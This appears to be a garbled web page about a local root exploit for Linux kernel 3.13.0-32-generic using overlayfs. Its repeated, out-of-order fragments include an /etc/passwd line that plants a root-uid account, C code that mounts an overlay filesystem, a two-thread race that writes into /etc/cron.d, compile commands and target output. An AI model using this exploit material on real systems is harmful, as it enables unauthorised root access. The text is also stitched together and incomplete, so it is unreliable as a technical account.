Linux 3.13.0-32-generic Exploit [2026]

owen:$6$salt$hash:0:0:root:/root:/bin/bash After a successful exploit, the attacker runs su owen (no password needed depending on the crafted hash) and becomes root. Disclaimer: Only run this on systems you own or have explicit written permission to test.

char opts[256]; snprintf(opts, sizeof(opts), "lowerdir=%s,upperdir=%s,workdir=%s", lower, upper, work); mount("overlay", merged, "overlayfs", 0, opts); Now, inside /tmp/merged , the file file appears. If you edit it, the changes actually go to /tmp/upper/file . This is where the exploit deviates from normal behavior. The attacker creates a second thread. Thread A tries to rename the file from the overlay to a protected location (e.g., /etc/cron.d/exploit ). Thread B constantly churns the filesystem by creating and deleting files in the upper directory. linux 3.13.0-32-generic exploit

uname -a Linux target 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux cat /etc/issue Ubuntu 14.04.5 LTS \n \l If you edit it, the changes actually go to /tmp/upper/file

# Compile the exploit gcc overlayfs.c -o exploit -lpthread id uid=1001(bob) gid=1001(bob) groups=1001(bob) Thread A tries to rename the file from

// Create a file we own int fd = open("lower/file", O_CREAT | O_RDWR, 0777); write(fd, "AAAA", 4); close(fd); This is the magic trick. The exploit mounts an overlay filesystem where lower is read-only (where the target file lives) and upper is writable (where changes go).